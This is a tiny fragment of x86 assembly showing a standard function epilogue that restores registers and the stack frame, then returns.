pop edi
pop esi
mov esp, ebp
pop ebp
ret